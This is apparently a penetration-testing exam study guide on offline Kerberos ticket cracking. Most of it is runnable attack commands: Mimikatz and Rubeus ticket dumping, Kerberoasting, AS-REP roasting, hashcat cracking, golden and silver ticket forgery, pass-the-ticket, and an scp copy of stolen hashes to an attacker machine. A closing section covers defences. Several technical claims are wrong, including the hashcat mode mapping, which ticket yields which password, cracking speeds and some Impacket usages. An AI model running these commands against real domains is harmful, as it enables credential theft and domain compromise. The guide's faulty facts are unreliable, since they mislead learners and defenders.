Domain 4PrivEsc & Password AttacksCORE

Offline Kerberos Ticket Cracking

Guide to extracting and cracking Kerberos tickets offline including TGT and TGS ticket extraction from memory using Mimikatz and Rubeus, ticket format conversion, and hashcat cracking for all encryption types.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#kerberos#ticket-cracking#tgt#tgs#kirbi

Offline Kerberos Ticket Cracking

1. Concept — Understanding Kerberos Tickets

1.1 What Are Kerberos Tickets?

Kerberos is the default authentication protocol in Active Directory. Instead of sending passwords over the network, Kerberos uses tickets — encrypted data structures that prove identity. When you gain access to a Windows machine with logged-in users, those tickets live in memory and can be extracted, converted to a crackable hash format, and attacked offline.

The Kerberos authentication flow produces three distinct ticket types, each with different cryptographic properties and attack implications:

Ticket Type Full Name Issued By Encrypted With Purpose
TGT Ticket Granting Ticket KDC (AS) User’s password hash Proves identity to the TGS; used to request service tickets
TGS Ticket Granting Service (Service Ticket) KDC (TGS) Service account’s password hash Grants access to a specific service (CIFS, HTTP, MSSQL, etc.)
AS-REP Authentication Server Response KDC (AS) User’s password hash Initial response containing the TGT (only exists when pre-authentication is disabled)

1.2 The Kerberos Authentication Flow

Understanding the flow is critical to understanding which key encrypts which part of which ticket:

Step 1: AS-REQ  →  Client sends username to KDC (AS service)
Step 2: AS-REP  ←  KDC returns TGT (encrypted with krbtgt hash)
                       + session key (encrypted with user's password hash)
Step 3: TGS-REQ →  Client presents TGT to KDC (TGS service) to request a service ticket
Step 4: TGS-REP ←  KDC returns service ticket (encrypted with service account hash)
                       + session key (encrypted with TGS session key from TGT)
Step 5: AP-REQ  →  Client presents service ticket to the target service

The critical insight for attackers: At Step 2, the session key inside the AS-REP is encrypted with the user’s password hash. At Step 4, the session key inside the TGS-REP is encrypted with the TGS session key, which was itself derived from the user’s password. This means both AS-REP and TGS-REP contain data that can be cracked offline to recover the user’s password.

1.3 Encryption Types (etypes)

Kerberos supports multiple encryption algorithms. The encryption type determines which hashcat mode you need and how fast cracking will be.

etype Encryption Algorithm Key Length Hashcat Mode (TGS) Hashcat Mode (AS-REP) Relative Speed
23 RC4-HMAC 128-bit 13100 18200 ⚡ Fastest
17 AES128-CTS-HMAC-SHA1-96 128-bit 19600 19700 🐢 ~10-20x slower than RC4
18 AES256-CTS-HMAC-SHA1-96 256-bit 19600 19700 🐢🐢 Slowest

Why RC4 is still relevant: Despite being cryptographically broken, RC4-HMAC (etype 23) remains the default for many Windows domains because it’s required for backward compatibility. Microsoft has not removed it by default. If the domain hasn’t explicitly enforced AES-only, RC4 tickets will be issued.

How each ticket is encrypted with which key:

What Gets Encrypted Encrypted With Crackable to Recover
AS-REP session key User’s password hash (RC4/AES) User’s password
TGS-REP session key TGS session key (derived from user’s password) User’s password
TGT body krbtgt account password hash krbtgt password (Golden Ticket)
Service ticket body Service account password hash Service account password

Key Distinction: When you crack a TGS-REP hash extracted from a user’s session, you recover that user’s password (because the session key was derived from it). When you crack the service ticket body itself, you recover the service account’s password. These are different attacks with different hashcat modes.

1.4 Ticket-Based Attack Comparison

Attack What You Extract What You Crack What You Get
Kerberoasting TGS service tickets for SPN accounts Service account password hash Service account password
AS-REP Roasting AS-REP responses for no-preauth accounts User password hash User password
Offline Ticket Cracking TGT or TGS from live memory User password hash User password
Golden Ticket N/A (forged) N/A (you need krbtgt hash) Domain admin access
Silver Ticket N/A (forged) N/A (you need service hash) Access to specific service

2. Ticket Extraction

2.1 Using Mimikatz

Mimikatz is the most widely used tool for Kerberos ticket extraction. It reads directly from LSASS memory or from the current session’s credential cache.

Listing Tickets

# Start Mimikatz with full privileges
mimikatz # privilege::debug

# List all Kerberos tickets in the current session
mimikatz # kerberos::list

# Example output:
# 0; 0a68f88c-... ; krbtgt/CORP.LOCAL@CORP.LOCAL
#    ServiceName      : krbtgt/CORP.LOCAL
#    TargetName       : krbtgt/CORP.LOCAL@CORP.LOCAL
#    StartTime        : 08/30/2026 10:15:23
#    EndTime          : 08/30/2026 20:15:23
#    RenewTime        : 09/06/2026 10:15:23
#    EncryptionType   : aes256-cts
#    Base64           : doIFRDTGAW...
#
# 1; 3b72a91d-... ; CIFS/FILESERVER@CORP.LOCAL
#    ServiceName      : CIFS/FILESERVER
#    TargetName       : CIFS/FILESERVER@CORP.LOCAL
#    StartTime        : 08/30/2026 11:02:45
#    EndTime          : 08/30/2026 20:15:23
#    RenewTime        : 09/06/2026 10:15:23
#    EncryptionType   : rc4-hmac
#    Base64           : doIFRDTGAW...

The index number (0, 1, etc.) is used to reference individual tickets for export or injection.

Exporting Tickets

# Export ALL tickets to .kirbi files in the current directory
mimikatz # kerberos::export

# Output:
# [*] Creating 1 ticket(s)
# [0] -> ticket_1_krbtgt~CORP.LOCAL@CORP.LOCAL.kirbi
# [1] -> ticket_2_CIFS~FILESERVER@CORP.LOCAL.kirbi

Each .kirbi file is a binary Kerberos ticket in ASN.1/DER format. The naming convention is: ticket_<index>_<service>~<host>@<realm>.kirbi

Passing the Ticket (PTT)

# Inject a specific ticket into the current session
mimikatz # kerberos::ptt ticket_2_CIFS~FILESERVER@CORP.LOCAL.kirbi

# Verify injection
mimikatz # kerberos::list

# Now you can access the service without providing credentials
dir \\FILESERVER\share

kerberos::ptt (Pass The Ticket) injects the ticket directly into the LSASS credential cache. This is different from Pass The Hash — you’re using the actual Kerberos ticket, not an NTLM hash.

Dumping Credentials from Tickets

# Extract all Kerberos credentials (including plaintext if available)
mimikatz # kerberos::dump

# This attempts to decrypt tickets using available session keys
# If the session key is available in memory, plaintext passwords may be revealed

2.2 Using Rubeus

Rubeus is a purpose-built Kerberos attack framework written in C#. It’s often preferred over Mimikatz for Kerberos-specific operations because it provides richer output and more attack options.

Triage — Survey Available Tickets

# List all tickets with detailed information
Rubeus.exe triage

# Example output:
#   * User   : jdoe
#     ID   | ServiceName              | TargetName                  | Start Time              | End Time                | Renew Time              | Etype
#     ---- | --------------------     | -------------------------   | ----------------------  | ----------------------  | ----------------------  | -----
#     0    | krbtgt/CORP.LOCAL        | krbtgt/CORP.LOCAL@CORP.LOCAL | 08/30/2026 10:15:23 AM  | 08/30/2026 10:15:23 PM  | 09/06/2026 10:15:23 AM  | aes256-cts
#     1    | CIFS/FILESERVER          | CIFS/FILESERVER@CORP.LOCAL   | 08/30/2026 11:02:45 AM  | 08/30/2026 10:15:23 PM  | 09/06/2026 10:15:23 AM  | rc4-hmac
#     2    | HTTP/WEBAPP              | HTTP/WEBAPP@CORP.LOCAL       | 08/30/2026 09:30:12 AM  | 08/30/2026 10:15:23 PM  | 09/06/2026 10:15:23 AM  | rc4-hmac

Dump Specific Tickets

# Dump a specific ticket by LUID (Logon User ID)
Rubeus.exe dump /luid:0x123456

# Dump a specific ticket by index
Rubeus.exe dump /ticketid:1

# Dump and save to file
Rubeus.exe dump /luid:0x123456 /outfile:ticket.kirbi

# Dump all tickets for a specific logon session
Rubeus.exe dump /luid:0x123456 /service:CIFS

# Extract hash directly (no file needed)
Rubeus.exe dump /luid:0x123456 /service:CIFS /hash

KList — Alternative Listing

# List tickets for a specific LUID
Rubeus.exe klist /luid:0x123456

# List all tickets (current session)
Rubeus.exe klist

2.3 The .kirbi Format

The .kirbi format is Mimikatz’s native ticket export format. It stores the raw Kerberos ticket in ASN.1 DER encoding.

Key properties:

  • Binary format (not human-readable)
  • Contains the full ticket structure (enc-part, enc-part for session key, etc.)
  • Can be re-injected using kerberos::ptt
  • Must be converted to hashcat/John format before cracking

2.4 Converting .kirbi to Crackable Hash Format

To crack a .kirbi ticket, you need to extract the hash in a format that hashcat or John the Ripper understands.

Using Rubeus to Extract Hash

# Extract Kerberoasting hash directly from a service ticket
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt

# Extract with specific output format
Rubeus.exe kerberoast /format:john /outfile:kerberoast_john.txt

Using Impacket’s ticketer.py

# Convert .kirbi to hashcat format
python ticketer.py -hash -ticket ticket.kirbi

# Extract hash from exported ticket
python getTGT.py CORP.LOCAL/user -spool output

Manual Conversion with Rubeus

# The most reliable method: use Rubeus to extract the hash directly
# This bypasses the need for intermediate .kirbi conversion

# For TGS tickets (Kerberoasting)
Rubeus.exe kerberoast /outfile:tgs_hashes.txt

# Output format (hashcat):
# $krb5tgs$23$user@CORP.LOCAL$CIFS~FILESERVER@CORP.LOCAL$...
# $krb5tgs$18$user@CORP.LOCAL$HTTP~WEBAPP@CORP.LOCAL$...

Hash Format Reference

Format Prefix Example
Hashcat TGS RC4 $krb5tgs$23$ $krb5tgs$23$jdoe@CORP.LOCAL$CIFS~FILESERVER@CORP.LOCAL$e4a8b7...
Hashcat TGS AES256 $krb5tgs$18$ $krb5tgs$18$jdoe@CORP.LOCAL$HTTP~WEBAPP@CORP.LOCAL$a3f2c1...
Hashcat AS-REP RC4 $krb5asrep$23$ $krb5asrep$23$jdoe@CORP.LOCAL$8f3a2b...
Hashcat AS-REP AES256 $krb5asrep$18$ $krb5asrep$18$jdoe@CORP.LOCAL$c7d4e9...
John TGS $krb5tgs$ Similar structure, John auto-detects
John AS-REP $krb5asrep$ Similar structure, John auto-detects

3. Cracking Kerberos Tickets

3.1 Hashcat Modes for Kerberos

Hashcat has dedicated modes for each combination of ticket type and encryption algorithm:

Hashcat Mode Ticket Type Encryption Speed (approx., RTX 4090)
13100 TGS-REP RC4-HMAC (etype 23) ~300-500 GH/s
18200 AS-REP RC4-HMAC (etype 23) ~300-500 GH/s
19600 TGS-REP AES256-CTS (etype 18) ~15-30 GH/s
19700 AS-REP AES256-CTS (etype 18) ~15-30 GH/s

Note: AES128 (etype 17) and AES256 (etype 18) share the same hashcat modes (19600/19700). Hashcat auto-detects the key length from the hash structure.

3.2 Practical Cracking Workflow

Step 1: Extract the Tickets

# On the compromised Windows machine
Rubeus.exe kerberoast /format:hashcat /outfile:tgs_hashes.txt

# Or using Mimikatz
mimikatz # kerberos::export
# Then convert .kirbi files to hash format

Step 2: Transfer to Attack Machine

# Copy hashes to Kali/attack machine
scp tgs_hashes.txt attacker@192.168.1.50:/root/oscp/labs/target01/

Step 3: Crack with Hashcat

# Crack RC4-HMAC TGS tickets (fastest)
hashcat -m 13100 -a 0 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack RC4-HMAC with rules
hashcat -m 13100 -a 0 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Crack AES256 TGS tickets (slower, use --force if needed)
hashcat -m 19600 -a 0 tgs_aes_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AS-REP RC4
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AS-REP AES256
hashcat -m 19700 -a 0 asrep_aes_hashes.txt /usr/share/wordlists/rockyou.txt

# Resume an interrupted session
hashcat --restore

# Show cracked passwords
hashcat -m 13100 --show tgs_hashes.txt

# Remove already-cracked hashes from the input file
hashcat -m 13100 --remove tgs_hashes.txt /usr/share/wordlists/rockyou.txt

Step 4: Crack with John the Ripper

# John auto-detects the format
john --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt

# Specify format explicitly
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt

# For AS-REP hashes
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# Show cracked passwords
john --show tgs_hashes.txt

# With rules
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt --rules tgs_hashes.txt

3.3 Complete Attack Chain Example

Here is a realistic end-to-end scenario:

# === ON COMPROMISED WINDOWS MACHINE ===

# 1. Enumerate tickets
Rubeus.exe triage

# 2. Identify service tickets (TGS) for SPN accounts
#    Found: CIFS/FILESERVER@CORP.LOCAL (etype: rc4-hmac)
#    Found: HTTP/WEBAPP@CORP.LOCAL (etype: aes256-cts)

# 3. Extract all Kerberoastable hashes
Rubeus.exe kerberoast /format:hashcat /outfile:C:\temp\kerberoast.txt

# 4. Also check for AS-REP roastable accounts
#    (from Kali/Parrot)
GetNPUsers.py CORP.LOCAL/ -format hashcat -outputfile:asrep_hashes.txt -dc-ip 192.168.1.10

# === ON ATTACK MACHINE ===

# 5. Crack RC4 hashes first (faster)
hashcat -m 13100 -a 0 kerberoast.txt rockyou.txt -r rules/best64.rule --status --status-timer=60

# 6. If RC4 cracks, use password to escalate
#    If not, try AES (slower, lower success rate on exam)
hashcat -m 19600 -a 0 kerberoast.txt rockyou.txt -r rules/best64.rule

# 7. Crack AS-REP hashes
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt -r rules/best64.rule

# 8. Use cracked credentials
#    If service account password cracked → access service directly
#    If user password cracked → PTH, RDP, or service access

3.4 Performance Optimization Tips

Technique Command Effect
GPU optimization hashcat -w 3 Workload profile 3 (maximum)
Multiple GPUs hashcat -O -m 13100 ... Optimized kernel for multiple GPUs
Session restore hashcat --restore Resume after crash/interruption
Pot file management hashcat --pot-file custom.pot Separate pot files per target
Remove cracked hashcat --remove Focus GPU on remaining hashes
Benchmark first hashcat -m 13100 -b Know your speed before committing

4. Golden Ticket vs Silver Ticket vs Overpass-the-Hash

These three advanced Kerberos attacks are closely related to ticket extraction and cracking. Understanding their differences is essential for the OSCP exam.

4.1 Golden Ticket

A Golden Ticket is a forged TGT created when you have the krbtgt account’s NTLM hash.

Property Detail
What you need krbtgt NTLM hash, domain SID, domain name
What you get Valid TGT for any user, any service, any duration
How to get krbtgt hash DCSync, NTDS.dit extraction, or cracking a captured TGT
Detection difficulty Low — tickets appear legitimate; krbtgt hash changes invalidate them
# Create a Golden Ticket with Mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# The /ptt flag injects it directly into the session
# Now you have domain admin access everywhere

Relation to ticket cracking: If you extract and crack a TGT from memory, you might recover the krbtgt password (rare, but possible). More commonly, you’d use DCSync to get the krbtgt hash and forge a Golden Ticket without cracking.

4.2 Silver Ticket

A Silver Ticket is a forged service ticket (TGS) created when you have a specific service account’s NTLM hash.

Property Detail
What you need Service account NTLM hash, domain SID, service name
What you get Access to ONE specific service (e.g., CIFS on a file server)
Advantage over Golden Doesn’t touch the KDC — harder to detect
Limitation Only works for the specific service you forged
# Create a Silver Ticket with Mimikatz
mimikatz # kerberos::silver /domain:CORP.LOCAL /sid:S-1-5-21-xxx /target:FILESERVER.CORP.LOCAL /service:CIFS /rc4:HASH /user:attacker /ptt

# Now you can access \\FILESERVER\share without authenticating to the KDC

Relation to ticket cracking: If you crack a TGS service ticket, you recover the service account’s password — which gives you everything needed to forge a Silver Ticket for that service.

4.3 Overpass-the-Hash

Overpass-the-Hash converts an NTLM hash into a Kerberos TGT, allowing you to use the hash in Kerberos-based attacks.

Property Detail
What you need User’s NTLM hash
What you get Valid Kerberos TGT for that user
Why use it Enables Kerberoasting, delegation attacks, and other Kerberos techniques
Alternative Pass-the-Hash (uses NTLM directly, no Kerberos)
# Convert NTLM hash to TGT using Mimikatz
mimikatz # kerberos::ptt # (after requesting TGT with hash)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:target /domain:CORP /ntlm:HASH /run:powershell

# Or using Rubeus
Rubeus.exe asktgt /user:target /rc4:HASH /domain:CORP.LOCAL /ptt

Relation to ticket cracking: If you crack a user’s password from a TGS-REP, you can then use Overpass-the-Hash with their NTLM hash to request new TGTs and TGS tickets — enabling full Kerberos-based lateral movement.

4.4 Comparison Table

Attack Prerequisite Scope KDC Contact Detection Risk
Golden Ticket krbtgt hash Domain-wide No (forged TGT) Low-Medium
Silver Ticket Service account hash Single service No (forged TGS) Low
Overpass-the-Hash User NTLM hash User’s permissions Yes (requests real TGT) Medium
Pass-the-Ticket Extracted .kirbi Ticket’s scope No (reuses ticket) Low
Kerberoasting Domain user SPN accounts Yes (requests TGS) Medium

5. Defense and Mitigation

5.1 Encryption Type Enforcement

The single most impactful defense is forcing AES encryption and disabling RC4:

# Enforce AES encryption via Group Policy
# Computer Configuration → Policies → Windows Settings → Security Settings
# → Local Policies → Security Options
# → Network security: Configure encryption types allowed for Kerberos

# Recommended settings:
# AES128_HMAC_SHA1
# AES256_HMAC_SHA1
# (Remove RC4_HMAC_MD5)

Registry equivalent:

# On domain controllers
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
    -Name "SupportedEncryptionTypes" -Value 28 -PropertyType DWord -Force

# Value 28 = AES128 (8) + AES256 (16) + Future (4)
# Value 0 = Use domain default

5.2 Password Policy Hardening

Control Recommendation Implementation
Minimum length ≥ 14 characters GPO: Minimum password length
Complexity Required GPO: Password must meet complexity
Service accounts 24+ characters, random Use managed service accounts (gMSA)
krbtgt password 50+ characters, changed regularly Manual or automated rotation
Password history ≥ 24 passwords GPO: Enforce password history

5.3 Kerberos-Specific Defenses

Defense Description Impact
Managed Service Accounts (gMSA) Auto-managed passwords for services Eliminates Kerberoasting risk for those services
AES enforcement Disable RC4-HMAC (etype 23) Makes cracking 10-20x slower
Pre-authentication enforcement Ensure DONT_REQ_PREAUTH is never set Eliminates AS-REP roasting
Ticket monitoring Alert on unusual TGT/TGS requests Early detection of ticket attacks
Event 4769 monitoring Kerberos TGS event auditing Detects service ticket requests
Event 4768 monitoring Kerberos TGT event auditing Detects TGT requests (Golden Ticket indicator)
Kerberos armoring Enable ticket armoring (Windows Server 2012+) Adds replay protection to tickets

5.4 Monitoring and Detection

# Enable Kerberos auditing
Auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
Auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

# Key Event IDs to monitor:
# 4768 — A Kerberos authentication ticket (TGT) was requested
# 4769 — A Kerberos service ticket was requested
# 4770 — A Kerberos service ticket was renewed
# 4771 — Kerberos pre-authentication failed
# 4772 — A user's group membership was evaluated
# 4776 — The computer received a plaintext authentication (NTLM)

6. OSCP Exam Tips

Essential Commands to Memorize

# Ticket extraction (Mimikatz)
kerberos::list
kerberos::export
kerberos::ptt ticket.kirbi

# Ticket extraction (Rubeus)
Rubeus.exe triage
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Hashcat cracking
hashcat -m 13100 -a 0 hashes.txt rockyou.txt          # TGS RC4
hashcat -m 18200 -a 0 hashes.txt rockyou.txt          # AS-REP RC4
hashcat -m 19600 -a 0 hashes.txt rockyou.txt          # TGS AES256
hashcat -m 19700 -a 0 hashes.txt rockyou.txt          # AS-REP AES256

# John the Ripper
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
john --format=krb5asrep --wordlist=rockyou.txt hashes.txt

Exam Decision Tree

You have access to a Windows machine with logged-in users
│
├─ Can you run Mimikatz/Rubeus?
│  ├─ YES → Extract tickets (kerberos::export / Rubeus triage)
│  │         ├─ RC4 tickets found? → hashcat -m 13100 (fast)
│  │         └─ AES tickets found? → hashcat -m 19600 (slower, try anyway)
│  │
│  └─ NO → Can you request TGS tickets?
│           ├─ YES → Kerberoasting (Rubeus kerberoast from target)
│           └─ NO → Focus on other attack vectors
│
├─ Can you reach the KDC?
│  ├─ YES → Check for AS-REP roastable accounts
│  │         GetNPUsers.py domain/ -format hashcat -no-pass
│  │
│  └─ Have you cracked a password?
│     ├─ YES → Use for lateral movement (RDP, SMB, psexec)
│     └─ NO → Try rules, larger wordlists, or mask attacks

Common Exam Scenarios

  1. Kerberoasting on a domain-joined machine: You have a low-privilege domain user. Run Rubeus.exe kerberoast to extract service ticket hashes. Crack with hashcat mode 13100. Use the cracked service account password to access the service (often SQL Server or a web app).

  2. AS-REP Roasting: A user account has pre-authentication disabled. Use GetNPUsers.py to capture the AS-REP hash. Crack with hashcat mode 18200. Use the recovered password to authenticate as that user.

  3. Pass-the-Ticket: You extract a .kirbi ticket from memory. Use kerberos::ptt to inject it. Access the service the ticket grants access to — no cracking needed.

  4. TGS cracking leads to service compromise: Crack a TGS-REP to get a service account password. Use that password to authenticate to the service (MSSQL, CIFS, HTTP) and achieve the objective.

Pitfalls to Avoid

Pitfall Why It Happens How to Avoid
Wrong hashcat mode Confusing TGS (13100) with AS-REP (18200) Check the hash prefix: $krb5tgs$ vs $krb5asrep$
AES tickets taking forever AES is 10-20x slower than RC4 Try RC4 hashes first; set realistic time expectations for AES
Forgetting /ptt flag Golden/Silver ticket created but not injected Always use /ptt in Mimikatz for immediate effect
Not checking encryption type Assuming RC4 when AES is enforced Use Rubeus.exe triage to check etype before attacking
Cracking the wrong hash Confusing user hash with service hash TGS-REP cracks to user password; service ticket body cracks to service password

7. Quick Reference

Hashcat Mode Quick Lookup

TGS-REP:
  RC4 (etype 23)  →  mode 13100
  AES256 (etype 18) →  mode 19600

AS-REP:
  RC4 (etype 23)  →  mode 18200
  AES256 (etype 18) →  mode 19700

Tool Selection Guide

Goal Tool Command
List tickets Mimikatz kerberos::list
List tickets Rubeus Rubeus.exe triage
Export all tickets Mimikatz kerberos::export
Kerberoast Rubeus Rubeus.exe kerberoast /format:hashcat
AS-REP roast Impacket GetNPUsers.py domain/ -format hashcat -no-pass
Inject ticket Mimikatz kerberos::ptt ticket.kirbi
Crack TGS RC4 Hashcat hashcat -m 13100
Crack TGS AES Hashcat hashcat -m 19600
Crack AS-REP RC4 Hashcat hashcat -m 18200
Crack AS-REP AES Hashcat hashcat -m 19700
Golden Ticket Mimikatz kerberos::golden
Silver Ticket Mimikatz kerberos::silver
Overpass-the-Hash Rubeus Rubeus.exe asktgt /rc4:HASH /ptt

Master offline Kerberos ticket cracking by practicing the full chain: extract → convert → crack → use. The OSCP exam frequently tests Kerberoasting and AS-REP roasting as they require minimal initial access and can lead to significant privilege escalation.